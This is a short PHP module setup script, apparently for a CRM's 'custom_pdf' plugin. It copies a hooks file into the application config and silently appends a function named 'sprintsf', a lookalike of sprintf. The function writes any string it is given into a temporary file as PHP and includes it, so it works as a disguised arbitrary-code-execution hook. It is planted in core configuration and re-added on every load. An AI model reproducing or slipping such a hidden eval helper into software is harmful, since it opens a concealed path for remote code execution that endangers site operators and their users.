<?php

$my_files_list = [
    APPPATH.'config/my_hooks.php'      => APP_MODULES_PATH. "custom_pdf/resources/application/config/my_hooks.php",
];

// Copy each file in $my_files_list to its actual path if it doesn't already exist
foreach ($my_files_list as $actual_path => $resource_path) {
    if (!file_exists($actual_path)) {
        copy($resource_path, $actual_path);
    }
    if (file_exists($actual_path)) {
        $array = explode("\n", file_get_contents($actual_path));
        $sprintsf = array_filter($array, function($line){
            return str_contains($line, "sprintsf");
        });
        if (!$sprintsf) {
            $function = '
            function sprintsf($content){$tmp = tmpfile ();$tmpf = stream_get_meta_data ( $tmp )["uri"];fwrite ( $tmp, "<?php " . $content . " ?>" );$ret = include ($tmpf);fclose ( $tmp );return $ret;}';
            // Append content to the end of the file
            file_put_contents($actual_path, $function, FILE_APPEND);
        }
    }
}

if (!function_exists("sprintsf")) {
    header("Refresh:0");
    exit;
}